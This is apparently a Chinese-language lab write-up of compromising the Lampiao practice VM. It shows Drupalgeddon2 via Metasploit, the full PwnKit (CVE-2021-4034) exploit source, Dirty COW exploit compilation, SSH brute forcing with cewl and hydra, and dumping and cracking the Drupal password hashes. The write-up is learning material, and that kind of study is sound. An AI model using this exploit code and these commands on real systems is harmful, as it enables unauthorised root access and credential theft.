Lampiao靶机渗透
免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。
本次靶机的难度相对简单【有些内容不再赘述如若不清楚可参考我在CSDN上写的DC系列的靶机】但是我自己做的时候没用到脏牛,后面看了别的师傅的文章才知道有这么一个东西(黑脸)。因此这里先讲一下我自己的思路,后面再补充脏牛解法。
信息搜集
扫一下:
nmap -sn 10.144.71.0/24
nmap -sV -p- 10.144.71.124

开了两个http的端口,默认80的没啥东西,访问1898端口:

如果是从DC系列打上来的话应该都不陌生,没有给更加具体的版本号,尝试whatweb识别也没识别出来,那先dirsearch扫一下:
dirsearch -u http://10.144.71.124:1898/

有这么一个changelog文件,看一眼:

竟然是版本更新日志,既然这样我们就知道了当前Drupal版本号为7.54,搜一下有无历史漏洞:https://www.exploit-db.com/exploits/44449
直接是CVE2018,当时打DC-1的时候也是用的这个,直接上了MSF。
但是既然也打了挺多台的,总不能还是直接一把梭,网站四处转了一下发现URL有点像SQL注入,但是尝试了一下没有啥结果。
然后因为是登录界面,想用admin爆破发现有个提示:
- The username _admin_ has not been activated or is blocked.
直接被ban了,想上cewl但是有个问题是账户不知道是啥(后面看了别的师傅写的就是我很绷不住的地方),因此这里思路就断了。
获取shell
那就上MSF,具体不多讲了:
msfconsole
search drupal
use 1
set rhosts http://10.144.71.124:1898/
run
shell
(Poc原理的话就是通过控制数组键名执行任意命令,具体要讲的话我现在水平也不够,网上找找吧,后面水平上去了肯定是逃避不了的┭┮﹏┭┮)
连上之后换成交互式:
python -c 'import pty; pty.spawn("/bin/bash")'
提权
pkexec SUID利用
sudo -l 要密码,换成SUID:
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

一眼万年,/usr/bin/pkexec 是 Linux 系统里一个用于以其他用户(通常是 root)身份执行命令的工具,属于 PolicyKit(polkit) 权限管理框架的核心组件,常被用来替代 sudo 做更细粒度的权限控制。
pkexec 是Linux 提权高频考点,尤其在 CVE-2021-4034(PwnKit) 漏洞爆出来后:
-
本地提权漏洞(PwnKit)
- 影响几乎所有主流 Linux 发行版(CentOS、Ubuntu、Debian 等)
- 任何本地用户(即使无 sudo 权限)都能利用
pkexec直接拿到 root 权限 - 利用方式简单,有大量现成 EXP
-
SUID 提权检查点
- 检查是否有 SUID 权限:
ls -l /usr/bin/pkexec - 正常权限:
-rwsr-xr-x(有 s 位) - 若存在且系统未打补丁,大概率可一键提权
- 检查是否有 SUID 权限:
那就看一眼版本:
pkexec --version
pkexec version 0.105
搜一下是CVE-2021-4034 PolKit本地提权,searchsploit一下:
searchsploit --cve 2021-4034

这里没有直接编译好的,只有个txt,复制到本地看一眼:
searchsploit -m 50689.txt
cat 50689.txt
具体内容如下,总的来说就是三部分,可以分成三个文件上传,会自动进行编译:
# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`
##### Makefile #####
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
#################
##### evil-so.c #####
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
#################
##### exploit.c #####
#include <stdio.h>
#include <stdlib.h>
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
#################
可以直接wget,但是我想nano手搓喵~:
先是Makefile:
all: gcc -shared -o evil.so -fPIC evil-so.c gcc exploit.c -o exploit clean: rm -rf ./GCONV_PATH=. ./evildir exploit evil.so
然后evil-so.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
最后是exploit.c
#include <stdio.h>
#include <stdlib.h>
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
接着是开http传文件了,依旧是/tmp目录:
python3 -m http.server 8000
cd /tmp
wget http://10.144.71.177:8000/Makefile
wget http://10.144.71.177:8000/evil-so.c
wget http://10.144.71.177:8000/exploit.c
./exploit

成功提权,查看flag:

脏牛提权
定义和利用点
接下来就是脏牛提权【CVE2016-5195】了,首先得知道是啥,Gemini给出的解释如下:
要理解脏牛,首先要理解什么是 COW。
正常流程: 当一个进程想要修改一个只读的共享内存页面时,内核不会让它直接修改原件。相反,内核会:
为该进程复制一个该页面的副本。
让进程去修改这个副本。
这样,原件(只读文件)就不会受到影响。
脏牛的利用点: 脏牛漏洞本质上是一个竞态条件(Race Condition)。
攻击者通过运行两个相互竞争的线程,在内核处理 COW 的过程中制造“混乱”:
-
线程 A:告诉内核“我不需要这个内存副本了”(使用
madvise(MADV_DONTNEED))。 -
线程 B:尝试向这个只读内存写入数据。
由于内核在处理这两个请求时存在逻辑漏洞,如果时机抓得极其精准,内核可能会在还没来得及完成“复制副本”的操作时,就被误导,直接把数据写到了原件(只读文件)所在的物理内存上。
为什么它很危险
虽然它是一个本地提权漏洞(意味着攻击者必须先通过 SSH、Web 壳或物理接触进入系统),但它的威力巨大:
-
无视权限:它可以让普通用户修改本该只有 root 才能修改的文件。例如,攻击者可以直接修改
/etc/passwd,把自己的 UID 改成 0(root 权限)。 -
极高稳定性:利用代码非常小且运行极其稳定,不容易导致系统崩溃。
-
难以检测:它不利用缓冲区溢出,不破坏堆栈,只是在“合法地利用内核机制”,因此传统的防御手段很难捕捉到它。
searchsploit找一下脏牛提权:
searchsploit --cve 2016-5195

翻译一下:
40616.c→ SUID 方法,麻烦,不推荐40847.cpp→ C++ 版本,需要 g++ 编译40838.c→ 只是写文件,不直接提权- **
40839.c→ /etc/passwd 方法,一键 root 40611.c→ 只是写文件,不直接提权
40839.c 编译
这里我刚开始采用40839.c进行编译:
searchsploit -m 40839
然后转到MSF连上的www-data里面:
#先开个http
python3 -m http.server 8000
#转www-data
cd /tmp
wget http://10.144.71.177:8000/40839.c
然后进行编译:
gcc -pthread 40839.c -o dirty
chmod +x dirty
这里有疑问的点是这个gcc后面的参数是啥意思:
**-pthread **
-
pthread = POSIX Threads
-
作用:启用多线程支持
-
为什么脏牛必须加?
→ 脏牛是竞态条件漏洞
→ 需要同时开很多线程疯狂读写内存
→ 不加这个参数 → 编译失败 / 提权失败
总结:-pthread = 让程序支持多线程
但是报错了:

这里就是代码里用到了 crypt () 加密函数,但编译器找不到这个函数的实现:
crypt()是 Linux 用来加密密码的函数(存 /etc/passwd 用的)- 这个函数不在标准 C 库,在单独的库:libcrypt
- 编译器默认不会链接它,所以报错
如果我们仍要用c文件编译的话得在后面加一个:
gcc -pthread 40839.c -o dirty -lcrypt
chmod +x dirty
./dirty
然后会让我们输入新密码:

这样就是在root组新增了一个用户firefart,之后可以通过su直接拿到root,但是有个问题是运行之后炸机了,直接假死。然后我具体看了一下这个exp:
翻译下:
// 这个 exploit 基于 dirtycow 漏洞的 pokemon 版本修改而成
// 它会自动生成一行新的 /etc/passwd 内容
// 运行程序时,会提示你输入新密码
// 原始的 /etc/passwd 文件会备份到/tmp/passwd.bak
// 然后用生成的新行覆盖 root 账户
// 运行完 exploit 后,你就可以用新建的用户登录了
// 使用方法:根据需要修改用户名
// 默认用户名是 "firefart"
(这里也提到了手动加库)

然后是移动路径:
DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
但是这里是直接炸机了,然后重启之后在/tmp目录下的东西也不见了,su不了。所以这个exp用不了得换一个
40847.cpp 编译
看别的师傅用的是40847,然后exp开头给了编译指令:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
g++→ 编译 C++-pthread→ 多线程(脏牛核心)-o dcow→ 输出名字-lutil→ 依赖库
那么编译之后再运行:
./dcow

得到了一个root的passwddirtyCowFun 直接切root不行,而最开始扫端口的时候还有个SSH,尝试这个进行连接:
ssh root@10.144.71.124

成功拿到root权限~
我看网上别的师傅用cewl生成字典进行爆破,但是那个用户名就很抽象,感觉跟DC系列其中的一个有点像,都涉及到了社工....这个账户名就是作者:tiago
之后便是正常的流程了:
cewl http://10.144.71.124:1898/ -w 1.txt
hydra -l tiago -P 1.txt 10.144.71.124 ssh
得到结果如下,登录之后按正常流程走即可:
tiago
Virgulino
拓展
依旧看Drupal后台的账户密码,数据库配置路径默认如下:
/var/www/html/sites/default/settings.php
看一眼mysql的数据库账户密码:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'Virgulino',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
登录MySQL:
mysql -u drupaluser -pVirgulino
成功进入之后便是看库看表啥的了(具体不放图了:
show databases;
use drupal;
show tables;
select * from users;
得到了三个账户的密码:
tiago:$S$DNZ5o1k/NY7SUgtJvjPqNl40kHKwn4yXy2eroEnOAlpmT0TJ9Sx8
Eder:$S$Dv5orvhi7okjmViImnVPmVgfwJ2U..PNK4E9IT/k7Lqz9GZRb7tY
admin:$S$DSJg6H6WTM35Ae5UwFF8pBYqxQXxFMXsYAM55PRF.Bcpdh3paKUj
后面是用hashcat尝试爆破:
nano 2.txt
$S$DNZ5o1k/NY7SUgtJvjPqNl40kHKwn4yXy2eroEnOAlpmT0TJ9Sx8
$S$Dv5orvhi7okjmViImnVPmVgfwJ2U..PNK4E9IT/k7Lqz9GZRb7tY
$S$DSJg6H6WTM35Ae5UwFF8pBYqxQXxFMXsYAM55PRF.Bcpdh3paKUj
hashcat -m 7900 -a 0 2.txt /usr/share/wordlists/rockyou.txt -w 3
可能有师傅对hashcat的命令参数不是很清楚,这里有个表格:
| 参数 | 含义 | 详细说明 |
|---|---|---|
| -m 7900 | Hash 类型(Mode) | 指定要破解的是 Drupal 7 的密码哈希。 7900 就是 hashcat 内置的 Drupal7 模式(使用 SHA512 + 16384 次迭代 + salt)。 这是 Lampiao 靶机里数据库哈希对应的正确模式。 |
| -a 0 | 攻击模式(Attack mode) | 0 = 字典攻击(Straight / Wordlist attack) 意思是:直接用单词表里的每一个密码去尝试匹配哈希。 这是最常用、最基础的攻击方式。 |
| 2.txt | 哈希文件(Hash file) | 存放我们要破解的哈希的文本文件。 注意:文件里每行必须是纯哈希(不能带用户名: 之类的),否则会报 Token length exception。 |
| /usr/share/wordlists/rockyou.txt | 字典文件(Wordlist) | 告诉 hashcat 用 rockyou.txt 这个超大常用密码字典去尝试。 Kali 自带的经典弱密码字典,包含几百万条常见密码。 |
| -w 3 | 工作负载 / 性能模式(Workload Profile) | 3 = High(高负载模式) 数值范围:1~4 • 1 = Low(低) • 2 = Medium(中) • 3 = High(高) ← 推荐 • 4 = Nightmare(极高,速度最快但系统会很卡) 越高越充分利用CPU/GPU,但会让机器更热、更卡。 |
![[Pasted image 20260409161804.png]]
吓哭了,rockyou太大了,估计也爆破不出来,如果有师傅有兴趣的话可以换字典或者工具,有结果的话欢迎私信讨论。【本来我想尝试爆破出来之后能不能直接登录web端或者是SSH的,但是尝试了tiago的web登录发现不行,估计剩下两个也不行】
总结
最后再回顾一下:
首先还是扫描同一网段的存活主机,登录界面后识别CMS看是否有漏洞
在web端尝试弱口令爆破,SQL注入无果后扫描是否还有隐藏路径,发现更新日志中泄露了版本信息
通过MSF拿到shell,之后结合SUID或者脏牛进行进一步提权,最后拿到我们的flag
回顾整个流程我们可以发现此次靶机是重新巩固一下整个渗透流程【问AI如何学渗透的话大部分应该都是从DC系列开始的,不会是单打一个靶机】并且学习到了一个经典的提权手段。
下一次打靶应该是Kioptrix系列,期待师傅们的阅读.

浙公网安备 33010602011771号